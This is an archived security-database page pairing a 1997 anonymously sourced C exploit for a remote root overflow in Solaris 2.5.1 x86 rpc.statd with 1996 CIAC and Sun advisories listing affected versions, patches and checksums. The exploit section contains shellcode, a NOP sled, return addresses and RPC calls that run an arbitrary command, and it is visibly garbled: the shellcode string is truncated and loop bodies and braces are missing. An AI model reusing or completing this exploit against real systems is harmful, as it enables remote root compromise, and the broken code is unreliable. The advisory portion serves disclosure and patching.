Solaris Statd exploit

Description:Solaris 2.5.1 x86 remote overflow for statd. There is apparently an earlier patch which doesn't fix the problem.
Compromise: root (remote)
Vulnerable Systems:Solaris 2.5.1 x86 is what this exploit is written for. According to a later CERT advisory, vulnerable systems include Digital UNIX (4.0 through 4.0c), AIX 3.2 and 4.1, Solaris 2.5, 2.51 and SunOS 4.1.* for both X86 and SPARC
Date:24 November 1997

Date: Mon, 24 Nov 1997 15:27:06 -0600
From: Aleph One <aleph1@DFW.NET>
Subject: Solaris 2.5.1 x86 statd exploit

>From an anonymous source:

 statd remote overflow, solaris 2.5.1 x86
 there is a patch for statd in solaris 2.5, well, it looks like
 they check only for '/' characters and they left overflow there ..
 nah, it's solaris

 usage: ./r host [cmd]  # default cmd is "touch /tmp/blahblah"
                        # remember that statd is standalone daemon

 Please do not distribute.

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;

/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};

char asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0

char nop[]="\x90";

char code[4096];

void usage(char *s) {
  printf("Usage: %s host [cmd]\n", s);

main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i, noplen=strlen(nop);
  char *ptr=code;

  if (argc < 2)
  if (argc == 3)

  for (i=0; i< sizeof(code); i++)
    *ptr++=nop[i % noplen];

  strcpy(&code[750], asmcode);  /* XXX temp. */
  for (i=0; i<=strlen(cmd[0]); i++)
  for (i=0; i<=strlen(cmd[1]); i++)
  for (i=0; i<=strlen(cmd[2]); i++)
  for (i=0; i<ADDRS; i++, ptr+=4)
    *(int *)ptr=ADDRP;

  printf("strlen = %d\n", strlen(code));

  memset(&monreq, 0, sizeof(monreq));

  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */

  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
    printf("stat_res = %d.\n", monres.res_stat);



                       The U.S. Department of Energy
                    Computer Incident Advisory Capability
                           ___  __ __    _     ___
                          /       |     /_\   /
                          \___  __|__  /   \  \___

                             INFORMATION BULLETIN

                        SUN statd Program Vulnerability

May 21, 1996 21:00 GMT                                             Number G-25
PROBLEM:       rpc.statd fails to completely validate the information it
               receives from rpc.lockd.
PLATFORM:      Solaris 2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x).
DAMAGE:        A user can potentially remove and create files with root
SOLUTION:      Install the proper patches described below.
VULNERABILITY  No exploitations of this vulnerability has been reported. But,
ASSESSMENT:    if it is exploited, a user can potentially remove or create any
               file that the root user can create.

CIAC has obtained information from Sun Microsystems pertaining to the statd
program vulnerability. This vulnerability has been previously addressed in
the CIAC G-22: rpc.statd Vulnerability Bulletin, issued on 22 Apr 96. CIAC
recommends that you install the proper patches described below.

[ Start of SUN Bulletin ]

         SUN MICROSYSTEMS SECURITY BULLETIN: #00135, 21 May 1996


In this bulletin Sun announces the release of security-related patches
for both Solaris 2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x). The
patches relate to a single vulnerability involving the statd program.

This vulnerability, which affects the products of several UNIX vendors,
has previously been discussed in CERT (sm) Advisory CA-96.09, issued on
24 Apr 96. As of this writing, Sun is aware of no successful attacks
based on this problem.

I.   Who is Affected, and What to Do

II.  Understanding the Vulnerability

III. List of Patches

IV.  Checksum Table


A.   How to obtain Sun security patches

B.   How to report or inquire about Sun security problems

C.   How to obtain Sun security bulletins or short status updates

         Send Replies or Inquiries To:

         Mark Graff
         Sun Security Coordinator
         MS MPK17-103
         2550 Garcia Avenue Mountain
         View, CA 94043-1100

         Phone: 415-786-5274
         Fax:   415-786-7994
         E-mail: security-alert@Sun.COM

Sun acknowledges with thanks both the CERT Coordination Center (Carnegie
Mellon University) and Wolfgang Ley (of DFN/CERT) for their assistance
in the preparation of this bulletin.

Sun, CERT, and DFN/CERT are all members of FIRST, the Forum of Incident
Response and Security Teams. For more information about FIRST, visit
the FIRST web site at "". For information about
the upcoming 8th FIRST Conference and Workshop (Santa Clara, CA, July
28-31, 1996) see "".

Keywords:       statd, root, file_creation, file_deletion
Patchlist:      100988-05, 101592-07, 102516-04, 102769-03,
                102770-03, 102932-02, 103468-01, 103469-01
Cross-Ref:      CERT CA-96.09


Permission is granted for the redistribution of this Bulletin for
the purpose of alerting Sun customers to problems, as long as the
Bulletin is not edited and is attributed to Sun Microsystems.

Any other use of this information without the express written consent
of Sun Microsystems is prohibited. Sun Microsystems expressly disclaims
all liability for any misuse of this information by any third party.

         SUN MICROSYSTEMS SECURITY BULLETIN: #00135, 21 May 1996

I.   Who is Affected, and What to Do

Sun has verified that this vulnerability affects all supported Solaris
2.x (SunOS 5.x) and Solaris 1.x (SunOS 4.1.x) systems.

Installing and running the software provided in these patches
completely closes the vulnerability.

For information about how to obtain these and other Sun patches, see
Appendix A.

II.  Understanding the Vulnerability

If exploited, this vulnerability can be used to remove any file that
the root user can remove or to create any file that the root user can
create. The security of a system could be completely compromised in
this way.

The following information, excerpted from the cited CERT(sm) advisory,
provides some details. (Note: statd is called "rpc.statd" on many
other UNIX systems.)

     When an NFS server reboots, rpc.statd causes the previously held
     locks to be recovered by notifying the NFS client lock daemons to
     resubmit previously granted lock requests. If a lock daemon fails
     to secure a previously granted lock on the NFS server, it sends
     SIGLOST to the process that originally requested the file lock.

     The vulnerability in rpc.statd is its lack of validation of the
     information it receives from what is presumed to be the remote
     rpc.lockd.  Because rpc.statd normally runs as root and because it
     does not validate this information, rpc.statd can be made to
     remove or create any file that the root user can remove or create
     on the NFS server.

III. List of Patches

The patches required to close this vulnerability are listed below.

    A. Solaris 2.x (SunOS 5.x) patches

    Patches which replace the affected statd executable are available
    for every supported version of SunOS 5.x.

        OS version      Patch ID
        ----------      ---------
        SunOS 5.3       102932-02
        SunOS 5.4       102769-03
        SunOS 5.4_X86   102770-03
        SunOS 5.5       103468-01
        SunOS 5.5_X86   103469-01

    B.  Solaris 1.x (SunOS 4.1.x) patches

    For SunOS 4.1.x, the fix is supplied in a new version of the "UFS
    file system and NFS locking" jumbo patch.

        OS version      Patch ID
        ----------      ---------
        4.1.3           100988-05
        SunOS 4.1.3_U1  101592-07
        SunOS 4.1.4     102516-04

IV.  Checksum Table

In the checksum table we show the BSD and SVR4 checksums and MD5 digital
signatures for the compressed tar archives.

    File             BSD          SVR4        MD5
    Name             Checksum     Checksum    Digital Signature
    ---------------  -----------  ---------   --------------------------------
    100988-05.tar.Z  10148 444    4116 888    ACE925E808A582D6CF9209FE7A51D23B
    101592-07.tar.Z  21219 346    32757 692   7B7EE4BD5B2692249FDB9178746AA71B
    102516-04.tar.Z  65418 201    61604 401   DB87F3DDA2F12FE2CFBB8B56874A1756
    102769-03.tar.Z  38936 74     64202 148   9A8E4D9BE8C58FD532EE0E2140EF7F85
    102770-03.tar.Z  04518 71     23051 141   F646E2B7AD66EEFBB32F6AB630796AF8
    102932-02.tar.Z  34664 70     45816 139   66CB7F6AE48784A884BA658186268C41
    103468-01.tar.Z  30917 82     46790 164   84680D9A0D2AEF62FFE1382C82684BE5
    103469-01.tar.Z  31245 82     52288 164   F22AEB0FD91687DAB8ADC4DF10348DE8

The checksums shown above are from the BSD-based checksum (on 4.1.x,
/bin/sum; on SunOS 5.x, /usr/ucb/sum) and from the SVR4 version on
on SunOS 5.x (/usr/bin/sum).


A.   How to obtain Sun security patches

    1. If you have a support contract

    Customers with Sun support contracts can obtain any patches listed
    in this bulletin (and any other patches--and a list of patches) from:

       - SunSolve Online
       - Local Sun answer centers, worldwide
       - SunSITEs worldwide

    The patches are available via World Wide Web at

    You should also contact your answer center if you have a support
    contract and:

       - You need assistance in installing a patch
       - You need additional patches
       - You want an existing patch ported to another platform
       - You believe you have encountered a bug in a Sun patch
       - You want to know if a patch exists, or when one will be ready

    2. If you do not have a support contract

    Customers without support contracts may now obtain security patches,
    "recommended" patches, and patch lists via SunSolve Online.

    Sun does not furnish patches to any external distribution sites
    other than the ones mentioned here. The and
    sites are no longer supported.

    3. About the checksums

    So that you can quickly verify the integrity of the patch files
    themselves, we supply in each bulletin checksums for the tar archives.

    Occasionally, you may find that the listed checksums do not match
    the patches on the SunSolve or SunSite database. This does not
    necessarily mean that the patch has been tampered with. More likely,
    a non-substantive change (such as a revision to the README file)
    has altered the checksum of the tar file. The SunSolve patch database
    is refreshed nightly, and will sometimes contain versions of a patch
    newer than the one on which the checksums were based.

    In the future we may provide checksum information for the
    individual components of a patch as well as the compressed archive
    file. This would allow customers to determine, if need be, which
    file(s) have been changed since we issued the bulletin containing
    the checksums.

    In the meantime, if you would like assistance in verifying the
    integrity of a patch file please contact this office or your local
    answer center.

B.   How to report or inquire about Sun security problems

If you discover a security problem with Sun software or wish to
inquire about a possible problem, contact one or more of the

   - Your local Sun answer centers
   - Your representative computer security response team, such as CERT
   - This office. Address postal mail to:

         Sun Security Coordinator
         MS MPK17-103
         2550 Garcia Avenue Mountain
         View, CA 94043-1100

         Phone: 415-786-5274
         Fax:   415-786-7994
         E-mail: security-alert@Sun.COM

We strongly recommend that you report problems to your local Answer
Center. In some cases they will accept a report of a security bug
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[ End of SUN Bulletin ]


CIAC wishes to acknowledge the contributions of Sun Microsystems for the
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LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC)

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G-18: Digital OSF/1 dxconsole Security Vulnerability
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G-20: Vulnerability in NCSA and Apache httpd Servers
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G-22: rpc.statd Vulnerability
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Version: 2.6.1
Comment: Processed by Mailcrypt 3.3, an Emacs/PGP interface


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